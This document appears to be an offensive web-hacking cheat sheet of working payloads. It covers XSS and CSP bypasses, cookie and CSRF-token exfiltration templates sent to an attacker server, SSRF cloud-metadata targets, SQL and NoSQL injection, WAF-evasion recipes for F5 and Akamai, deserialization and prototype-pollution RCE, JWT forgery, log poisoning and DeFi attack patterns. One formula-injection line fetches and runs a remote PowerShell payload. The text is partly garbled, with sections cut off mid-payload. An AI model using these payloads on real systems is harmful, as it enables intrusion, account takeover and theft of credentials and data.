Request Rejected

``` ### JSONP Callback Abuse via Trusted CDNs (CSP whitelist bypass) When CSP allows `*.google.com`, `*.facebook.com`, `*.twitter.com`, etc., point ` ``` ### `alert` / `(`/`'` Blocked → Function-Constructor and Indirect-Call Variants ```javascript // alert blocked → reach it through prototype/constructor chains []['constructor']['constructor']('alert(1)')() ({}).constructor.constructor('alert(1)')() (()=>{}).constructor('alert(1)')() (async()=>{}).constructor('alert(1)')() (function*(){}).constructor('alert(1)')() new Function('alert(1)')() Reflect.construct(Function,['alert(1)'])() Reflect.apply(eval,window,['alert(1)']) // alert blocked, "alert" string blocked → assemble at runtime window['ale'+'rt'](1) self[`al`+`ert`](1) globalThis['ale'+'rt'](1) top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) // base-30 string trick window[atob('YWxlcnQ=')](1) window[String.fromCharCode(97,108,101,114,116)](1) Object.getPrototypeOf(window).alert.call(this,1) Reflect.get(window,'alert')(1) // Parens blocked → tagged template literals alert`1` setTimeout`alert\x281\x29` new Function`return alert``1` throw new Error`alert\x281\x29` // window.onerror sink location.replace`javascript:alert\x281\x29` // Quotes blocked alert(/XSS/.source) alert(String.fromCharCode(49)) alert(parseInt(1)) ``` ### Encoding & Unicode Filter Bypass ```html

``` ### Tag-Confusion / Parser-Differential Filter strips one occurrence of ` < alert(1)

<img src=x onerror=alert(1)>"> <noframes><img src=x onerror=alert(1)>"> <xmp><script>alert(1)</script></xmp> <plaintext><script>alert(1)</script> <listing><script>alert(1)</script></listing>  <math><mtext><option><FAKE><option><mglyph><svg><mtext><textarea><path id=*/alert(1)/*> <math><mi xlink:href="javascript:alert(1)">XSS</mi> <math><mi//xlink:href="data:x,<script>alert(1)</script>"> <svg><foreignObject><script>alert(1)</script></foreignObject></svg> <svg><use href="#x"/></svg><defs><g id="x"><script>alert(1)</script></g></defs> <svg><a xlink:href="javascript:alert(1)"><text>XSS</text></a></svg>  <form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)> <svg></p><style><g title="</style><img src=x onerror=alert(1)>">  </script><svg/onload=alert(1)> </title><script>alert(1)</script> </style><script>alert(1)</script> </textarea><script>alert(1)</script> ``` ### CSP Nonce / Base-Tag / `srcdoc` Bypass ```html  <script nonce="">alert(1)</script> <script nonce="null">alert(1)</script> <script nonce="undefined">alert(1)</script> <script nonce="">alert(1)</script>  <base href="data:"><script nonce="VALID_NONCE_FROM_PAGE" src="text/javascript,alert(1)"></script> <base href="//evil.com/"><script src="evil.js"></script>  <iframe srcdoc="<script>parent.alert(1)</script>"> <iframe srcdoc="<script>parent.alert(1)</script>">  <script>import('data:text/javascript,alert(1)')</script> <script>import(URL.createObjectURL(new Blob(['alert(1)'],{type:'text/javascript'})))</script>  <script>new Worker(URL.createObjectURL(new Blob(['alert(1)'],{type:'text/javascript'})))</script> <script>navigator.serviceWorker.register('data:text/javascript,fetch(`//pwned.attacker.com`)')</script> ``` ### postMessage Listener → Sink Chains (DOM XSS escalation) ```javascript // Listener that eval()s message body window.addEventListener('message', e => Function(e.data)()); postMessage('alert(1)', '*'); // Listener that redirects to message window.addEventListener('message', e => location = e.data); postMessage('javascript:alert(1)', '*'); // document.write of message body window.onmessage = e => document.write(e.data); postMessage('<img src=x onerror=alert(1)>', '*'); // BroadcastChannel cross-tab new BroadcastChannel('xss').postMessage('alert(1)'); new BroadcastChannel('xss').onmessage = e => eval(e.data); ``` ### Mutation / Animation / Observer Auto-Fire (silent execution) ```html <style>@keyframes x{}</style> <div onanimationstart=alert(1) style=animation:x\ 1s> <div onanimationend=alert(1) style=animation:spin\ 1s> <div ontransitionend=alert(1) style=transition:all\ 1s onmouseover=this.style.color='red'> <script>new MutationObserver(()=>alert(1)).observe(document,{childList:true,subtree:true})</script> <script>new ResizeObserver(()=>alert(1)).observe(document.body)</script> <script>new IntersectionObserver(()=>alert(1)).observe(document.body)</script> <script>new PerformanceObserver(()=>alert(1)).observe({entryTypes:['navigation']})</script> ``` ### Mobile Touch / Pointer / Gesture Triggers ```html <div ontouchstart=alert(1)>x</div> <div ontouchend=alert(1)>x</div> <div ontouchmove=alert(1)>x</div> <div onpointerdown=alert(1)>x</div> <div onpointerup=alert(1)>x</div> <div ongesturestart=alert(1)>x</div> <div ongesturechange=alert(1)>x</div> <body ondevicemotion=alert(1)> <body ondeviceorientation=alert(1)> ``` ### Shadow DOM / Template / Web Components ```html  <template shadowrootmode=open><slot onslotchange=alert(1)>  <template><script>alert(1)</script></template>  <div id=x><script>document.getElementById('x').attachShadow({mode:'closed'}).innerHTML='<img src=x onerror=alert(1)>'</script></div>  <dialog open onclose="fetch('https://YOUR_SERVER/?c='+document.cookie)">x</dialog> ``` ### Cookie / Token / DOM Exfil Templates (replace alert in real PoC) ```javascript // Cookie / CSRF token exfil fetch('https://YOUR_SERVER/?c='+document.cookie) new Image().src='https://YOUR_SERVER/?c='+document.cookie navigator.sendBeacon('https://YOUR_SERVER/log', document.body.innerHTML) fetch('https://YOUR_SERVER/?t='+document.querySelector('meta[name=csrf-token]').content) // DNS exfil — works when outbound HTTP is firewalled fetch(`//${btoa(document.cookie)}.YOUR_SERVER`) new Image().src=`//${location.hostname.replace(/\./g,'-')}.YOUR_SERVER` // State-changing PoC — read CSRF token, then submit POST in victim session fetch('/account/email').then(r=>r.text()).then(html=>{ const t = html.match(/name="csrf"[^>]*value="([^"]+)"/)[1]; fetch('/account/email',{method:'POST',body:new URLSearchParams({csrf:t,email:'attacker@x'})}); }); // Storage / IDB scrape JSON.stringify(localStorage) JSON.stringify(sessionStorage) // Service-worker persistence (survives navigation) navigator.serviceWorker.register('data:text/javascript,addEventListener("fetch",e=>e.respondWith(new Response("pwn")))') ``` ### Webhook-Backed Universal Reporter Polyglot Drops into almost any context (script/title/style/textarea/iframe/noscript) and exfils host + path + cookie to your webhook. ```html //*'/*\'/*"/*\"/*`/*\`--></Title/</Style/</Script/</textArea/</iFrame/

``` XHR variant (POST, larger payload, includes UUID for de-dup): ```html //*'/*\'/*"/*\"/*`/*\`--> ``` ### JJEncode / Alphabet-Free (filter blocks alphanumerics or keywords) ```javascript // JSFuck — only []()!+ characters, builds any string from coercion primitives []["constructor"]["constructor"]("alert(1)")() ""["constructor"]["constructor"]("alert(1)")() // Non-ASCII identifier alphabet — JS allows Unicode identifiers, so build alert // out of CJK / Arabic / Cuneiform variable names. Useful when filter blocks // only ASCII letters or specific keywords. ا='',ب=!ا+ا,ت=!ب+ا,ث=ا+{},ج=ب[ا++],ح=ب[خ=ا],د=++خ+ا,ذ=ث[خ+د], ب[ذ+=ث[ا]+(ب.ت+ث)[ا]+ت[د]+ج+ح+ب[خ]+ذ+ج+ث[ا]+ح][ذ](ت[ا]+ت[خ]+ب[د]+ح+ج+"(1)")() 甲='',乙=!甲+甲,丙=!乙+甲,丁=甲+{},戊=乙[甲++],己=乙[庚=甲],辛=++庚+甲,壬=丁[庚+辛], 乙[壬+=丁[甲]+(乙.丙+丁)[甲]+丙[辛]+戊+己+乙[庚]+壬+戊+丁[甲]+己][壬](丙[甲]+丙[庚]+乙[辛]+己+戊+"(1)")() ``` ### `javascript:` URL Variants (link / form / iframe sinks) ``` javascript:alert(1) JaVaScRiPt:alert(1) java script:alert(1) java script:alert(1) java script:alert(1) javascript:alert(1) JavaScript://%250Aalert(1)// javascript:`${alert(1)}` data:text/html, data:text/javascript,alert(1) vbscript:alert(1) ``` ### CSV / Spreadsheet Formula Injection (XSS-adjacent) Stored input rendered into Excel / Sheets / LibreOffice → DDE / hyperlink exec on open. Submit as report when the export is delivered to internal staff. ``` =cmd|'/C calc'!A1 =HYPERLINK("http://evil.com","Click me") @SUM(1+1)*cmd|'/C calc'!A1 =2+3+cmd|'/C powershell IEX(wget 0r.pe/p -UseBasicParsing)'!A1 +1-1+cmd|'/C calc'!A1 ``` ## SSRF Payloads ### Internal Targets ``` http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/ http://169.254.169.254/metadata/v1/ ``` ### IP Bypass ``` http://127.0.0.1 → http://0x7f000001 → http://2130706433 http://017700000001 (octal) http://[::ffff:169.254.169.254] (IPv6) http://localtest.me (DNS → 127.0.0.1) ``` ## SQLi Payloads ### Detection ``` ' OR '1'='1 " OR "1"="1 ' OR 1=1-- ' UNION SELECT NULL-- ' AND SLEEP(5)-- ``` ### Error-Based ``` ' AND 1=CONVERT(int,(SELECT @@version))-- ' AND extractvalue(1,concat(0x7e,(SELECT version())))-- ``` ## IDOR Payloads ### ID Manipulation ``` /api/users/YOUR_ID → /api/users/OTHER_ID /api/users/100 → /api/users/101, /api/users/99, /api/users/0 UUID: try sequential, predictable, or null UUID GraphQL: { node(id: "base64_encoded_id") { ... on User { email } } } ``` ### Method Variation ``` GET /api/resource/123 → 403 PUT /api/resource/123 → 200 (method not checked) DELETE /api/resource/123 → 200 PATCH /api/resource/123 → 200 ``` ### Version Downgrade ``` /api/v2/resource/123 → 403 (has auth) /api/v1/resource/123 → 200 (old version missing auth) ``` ## OAuth Payloads ### redirect_uri Bypass ``` redirect_uri=https://evil.com redirect_uri=https://target.com.evil.com redirect_uri=https://target.com@evil.com redirect_uri=https://target.com%23@evil.com redirect_uri=https://target.com/callback/../redirect?to=evil.com redirect_uri=https://target.com/callback%2f..%2fredirect%3fto%3devil.com ``` ## File Upload Payloads ### Extension Bypass ``` shell.php → shell.php.jpg → shell.pHp → shell.php%00.jpg shell.php;.jpg → shell.php. → shell.php::$DATA ``` ### Content-Type Bypass ``` Content-Type: image/png (with PHP content) Magic bytes: GIF89a SVG XSS: Request Rejected...`, length ≈ 101 bytes). The F5 soft-block to recognize: ``` HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 101 Request RejectedThe requested URL was rejected. ``` Note: status code is 200, NOT 403. Trust the body fingerprint, not the status line. JSON endpoints normally return `Content-Length: 59` baseline; soft-block is `101`. ### 1. JSON Content-Type smuggling (Bugtraq 2015 — F5 said "no fix in near term" — still works in 2026) F5 ASM matches `*json*` in `Content-Type` and routes the body through its JSON parser, which does NOT URL-decode. URL-encode the payload — F5 doesn't see `${...}` so the rule doesn't fire. The backend then receives the body and parses it normally. ```http POST /target/endpoint HTTP/1.1 Host: api.target.com Content-Type: application/json Content-Length: 16 q=%24%7B7%2A7%7D ``` Confirmed working on `Content-Type` values: - `application/json` - `application/json; charset=UTF-8` - `application/json; foo=bar; junk=true` (any junk param, just keep `json` substring) - `text/json` - `application/vnd.api+json` - `application/hal+json` - `application/ld+json` Same primitive in JSON object form (URL-encoded value inside JSON string) — also passes F5: ```json {"q":"%24%7B7%2A7%7D"} ``` ### 2. UTF-7 encoded payload in query string UTF-7 encoding for `${7*7}`: `+ACQAew-7*7+AH0-`. F5 ASM does not decode UTF-7 — the rule sees `+ACQAew-...` and doesn't match `${...}`. Backend reaches if it does UTF-7 decoding (some Java apps). ```http GET /target/endpoint?q=+ACQAew-7*7+AH0- HTTP/1.1 ``` ### 3. Microsoft IIS-style `%u` Unicode encoding Fullwidth-ASCII in IIS-format. `%uFE69` ≈ `$`, `%uFE5B` ≈ `{`, `%uFE5D` ≈ `}`. ```http GET /target/endpoint?q=%uFE69%uFE5B7*7%uFE5D HTTP/1.1 ``` F5 doesn't decode `%uXXXX`. Useful when fronting an IIS / older .NET stack that DOES decode this format. ### 4. HTML-entity-then-URL-encoded HTML entities for `${7*7}`: `${7*7}`. URL-encoded again: `&%2336;&%23123;7*7&%23125;`. F5 sees ampersand-prefixed numeric strings, no match. Passes through if backend HTML-decodes (rare for query params, common for templated rendering). ```http GET /target/endpoint?q=&%2336;&%23123;7*7&%23125; HTTP/1.1 ``` ### 5. Header smuggling — F5 doesn't inspect these for the `${...}` rule Confirmed PASSED through F5 (rule does not fire): - `User-Agent: Mozilla/5.0 ${7*7} ...` - `Cookie: tracking=${7*7}; lang=en` - `Accept-Language: en-US,${7*7}` Confirmed BLOCKED by F5 (rule fires): - `Referer:`, `Origin:`, `X-Forwarded-For:`, `X-Forwarded-Host:`, `X-Forwarded-Proto:`, `X-Real-IP:`, `X-Originating-IP:`, `X-Custom-Header:`, `True-Client-IP:`, `CF-Connecting-IP:`, `X-Client-Data:`, `X-Request-ID:`, `X-Correlation-ID:`, `Forwarded:` Use case: any endpoint that logs / reflects / templates `User-Agent` or `Cookie` values. ### 6. Alternative SSTI engine syntax (no `${...}` substring) The F5 rule is specifically anchored on the `${` literal. Alternative templating syntaxes are not matched: | Engine | Bypass payload | Notes | |---------------|-------------------------|---------------------------------------------| | Twig / Jinja2 | `{{7*7}}` | URL-encode braces — passes F5 | | Thymeleaf | `*{7*7}` / `[[${7*7}]]` | The `*{` form bypasses; `[[` prefix bypasses | | Velocity | `#set($x=7*7)$x` | `#set` syntax — F5 misses | | Razor | `@(7*7)` / `@{var x=7*7;}@x` | Razor block syntax | | ERB | `<%= 7*7 %>` / `<%-= 7*7 -%>` | Ruby ERB syntax | | FreeMarker | `<#assign x=7*7>${x}` | `<#assign>` prefix — even with `${x}` inside, F5 still misses (start-anchor) | | Smarty | `{$x=7*7}{$x}` | PHP Smarty | | Pug / Jade | `#{7*7}` / `!{7*7}` | Pug variants | | Handlebars | `{{7*7}}` | Same as Twig/Jinja | Important: most of these contain `{`/`<` chars that confuse Tomcat's URL parser if sent raw. URL-encode them before sending; F5 still doesn't catch the encoded form. ### 7. Unicode fullwidth dollar `＄` (U+FF04) Send as raw UTF-8 bytes (`\xef\xbc\x84`). F5 sees the byte sequence, doesn't decode it as `$`, the rule misses. Backend Java apps with NFKC normalization will reconstruct `${...}` server-side. ```http GET /target/endpoint?q=＄{7*7} HTTP/1.1 ``` (That `＄` is U+FF04, copy-paste, not a regular `$`.) ### What F5 still catches (verified blocked across all attempts) - Standard `${...}` in any URL position (path, query, matrix params) - URL-encoded `%24%7B...%7D` in query - Double-URL-encoded `%2524%257B...%257D` - Whitespace inside braces (`${ 7*7 }`) - Zero-width characters between `$` and `{`: NUL `\x00`, ZWSP ``, ZWJ `‍`, RLO `‮`, BOM ``, soft hyphen `\xAD`, tab, CR - Path-based `${...}`: `/api/${7*7}`, `/api/v1/${7*7}` - Matrix-param `${...}`: `/path;${7*7}`, `/path;jsessionid=${7*7}` - HTML-entity-without-URL-encoding: `${7*7}` (still has literal `${`) - Backslash escape: `$\\{7*7\\}` ### Practical exploitation flow 1. Identify a target reachable behind F5 BIG-IP ASM (look for `Set-Cookie: TS01...` or `lb-N-p-NNN` cookies, or HTTP 200 with body length 101 and "Request Rejected" title on payload submission). 2. Confirm F5 is in front (not just an LB): send `?q=${7*7}` and look for the soft-block 101-byte response. 3. Pick the bypass primitive that matches the target's request-handling: - Backend uses Spring with JSON DTOs → use **JSON Content-Type smuggling (#1)** - Backend uses old IIS / .NET → try **`%u` encoding (#3)** - Backend Java app with input normalization → try **fullwidth `＄` (#7)** or **UTF-7 (#2)** - Backend has logged-User-Agent reflection → use **header smuggling (#5)** - Target has known SSTI sink in Twig/Velocity/Razor/ERB → use **alternative engine syntax (#6)** 4. Stack with downstream sink: bypass-primitive needs to land on an actual templating engine, log injector, or reflection point. Bypass alone is informational; bypass + sink = paid finding. ### Akamai (Kona + Bot Manager) — what was NOT bypassed For comparison, **none** of the request-side techniques bypassed Akamai on banking targets in 2026: - TLS fingerprint matching via `curl_cffi` impersonating Chrome 116/120/131, Edge 101, Firefox 133, Safari iOS 17 → all returned `Access Denied` (`errors.edgesuite.net` ref). Akamai blocks via **IP reputation**, not TLS. - Real Firefox via `camoufox` stealth browser → also `Access Denied`. Sensor JS (`_abck` cookie) never issued. - Pragma debug headers (`akamai-x-cache-on, akamai-x-get-cache-key, akamai-x-get-true-cache-key, akamai-x-feo-trace`) → no debug info leaked, all hosts still 403. - `True-Client-IP` / `X-Forwarded-For` / `X-Real-IP` geo spoofing → no change. Akamai bypass requires **residential proxy** or **clean source IP** that's not flagged on the target's threat-intelligence feed. CVE-2026-26365 (Connection: Transfer-Encoding) and CVE-2025-66373 (chunk encoding) were patched globally Feb/Nov 2025; verify they're still vulnerable on a specific target before relying on them. ## Deserialization ### Python Pickle ```python import pickle, base64, os class RCE: def __reduce__(self): return (os.system, ('cat /flag',)) base64.b64encode(pickle.dumps(RCE())) ``` ### PHP Unserialize ```php O:8:"ClassName":1:{s:4:"prop";s:6:"system";} # If __destruct or __wakeup calls user-controlled method ``` ### Java ```bash # Generate with ysoserial java -jar ysoserial.jar CommonsCollections1 'id' | base64 ``` ### Node.js node-serialize ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"} ``` ## JWT Attacks ### alg:none ``` # Header: {"alg":"none","typ":"JWT"} # Base64: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 # Payload: eyJ1c2VyIjoiYWRtaW4ifQ # Signature: (empty) # Token: header.payload. ``` ### RS256→HS256 Key Confusion ```bash # Use the PUBLIC key as HMAC secret (sign with RS256 public key as HS256) python3 -c " import jwt public_key = open('public.pem').read() token = jwt.encode({'user':'admin'}, public_key, algorithm='HS256') print(token) " ``` ### Weak Secret Brute Force ```bash hashcat -a 0 -m 16500 jwt.txt wordlist.txt # Or: jwt-cracker -d 6 # brute force up to 6 chars ``` ## LFI / Path Traversal ### PHP Wrappers ``` php://filter/convert.base64-encode/resource=index.php php://input (POST body as code) data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== expect://id ``` ### Log Poisoning → RCE ```bash # 1. Inject PHP in User-Agent header curl -H "User-Agent: " https://target/ # 2. Include the log file curl "https://target/page?file=../../../../var/log/apache2/access.log&c=id" ``` ### Bypass Filters ``` ../ → ....// (recursive strip) ../ → ..%2f → %2e%2e%2f → %2e%2e/ ../ → ..;/ (Tomcat/Spring) ``` ## Prototype Pollution (Node.js) ### Detection ```json {"__proto__": {"polluted": true}} {"constructor": {"prototype": {"polluted": true}}} ``` ### Escalation to RCE ```json // If target uses child_process.fork/spawn with shell:true {"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}} // Or via EJS template: {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');//"}} ``` ## NoSQL Injection (MongoDB) ### Auth Bypass ```json {"username": {"$ne": ""}, "password": {"$ne": ""}} {"username": "admin", "password": {"$gt": ""}} ``` ### Data Extraction ```json {"username": "admin", "password": {"$regex": "^a"}} {"username": "admin", "password": {"$regex": "^ab"}} // Iterate character by character ``` ## DeFi / Smart Contract Attacks ### Reentrancy ```solidity // Attack contract calls back into vulnerable withdraw before balance update receive() external payable { if (address(target).balance >= amount) { target.withdraw(amount); } } ``` ### Flash Loan Pattern ```solidity function attack() external { flashLoanProvider.borrow(1000000 ether, address(this)); } function executeOperation(uint amount) external { target.swap(amount); // Manipulate price target.arbitrage(); // Profit token.transfer(msg.sender, amount + fee); // Repay } ``` ### Oracle Manipulation ```solidity // If oracle uses spot price from AMM: // 1. Flash borrow large amount // 2. Swap to move price // 3. Interact with protocol at manipulated price // 4. Swap back and repay ``` ## GraphQL Alias Batching (Rate Limit Bypass) ```graphql # 10 OTP attempts in 1 request: mutation BatchBrute { a1: verifyOtp(token: "000001") { success } a2: verifyOtp(token: "000002") { success } a3: verifyOtp(token: "000003") { success } a4: verifyOtp(token: "000004") { success } a5: verifyOtp(token: "000005") { success } a6: verifyOtp(token: "000006") { success } a7: verifyOtp(token: "000007") { success } a8: verifyOtp(token: "000008") { success } a9: verifyOtp(token: "000009") { success } a10: verifyOtp(token: "000010") { success } } # 10 login attempts in 1 request: mutation BatchLogin { a1: login(username: "admin", password: "pass1") { token } a2: login(username: "admin", password: "pass2") { token } a3: login(username: "admin", password: "pass3") { token } } ``` ## GraphQL Auth Bypass Testing ```bash # Test mutation without auth: curl -X POST target/graphql -H "Content-Type: application/json" \ -d '{"query":"mutation { logout(userName: \"admin\") { success } }"}' # Test with fake auth (should get same response if no middleware): curl -X POST target/graphql -H "Content-Type: application/json" \ -H "Authorization: Bearer invalidtoken123" \ -d '{"query":"mutation { logout(userName: \"admin\") { success } }"}' # Clairvoyance (schema recon without introspection): curl -X POST target/graphql -H "Content-Type: application/json" \ -d '{"query":"{ usr }"}' # Response: "Did you mean \"user\"?" ``` ## SAML Payloads ```bash # SAML signing oracle test: curl -X POST 'https://target.com/saml/sso' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'status={"primaryCode":"urn:oasis:names:tc:SAML:2.0:status:Success"}' # Empty body (trigger stack trace): curl -X POST 'https://target.com/saml/sso' \ -H 'Content-Type: application/x-www-form-urlencoded' -d '' # SAML ACS endpoint test: curl -X POST 'https://target.com/_hcms/mem/saml/acs' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "SAMLResponse=" ``` ## gRPC Method Enumeration ```bash # Enumerate gRPC methods via Envoy error messages: for resource in accounts users orders holdings portfolios wallets transactions currencies; do echo -n "$resource: " curl -s "https://target.com/v1/${resource}/" | grep -oP 'method = /[^"]+' || echo "no leak" done # Test non-v1 paths (may bypass RBAC): for resource in accounts users orders holdings; do echo -n "non-v1 $resource: " curl -s -o /dev/null -w "%{http_code}" "https://target.com/${resource}/" done ``` ## OAuth Code Leakage Detection ```bash # Check for analytics on callback page: curl -s "https://target.com/callback?code=test&state=test" | \ grep -oiE 'gtag|G-[A-Z0-9]+|ga4|logrocket|lrkt|segment|amplitude|mixpanel|heap' | sort -u # PKCE enforcement check: curl -X POST "https://auth.target.com/token" \ -d "grant_type=authorization_code&code=fake&client_id=CLIENT_ID&redirect_uri=REDIRECT" # invalid_grant = PKCE NOT enforced # invalid_request = PKCE enforced # Public client check: curl -X POST "https://auth.target.com/token" \ -d "grant_type=authorization_code&code=fake&client_id=CLIENT_ID" # invalid_grant = public client (no secret needed) # invalid_client = confidential client ``` ## XSS WAF-Specific Bypass Payloads ```html

phish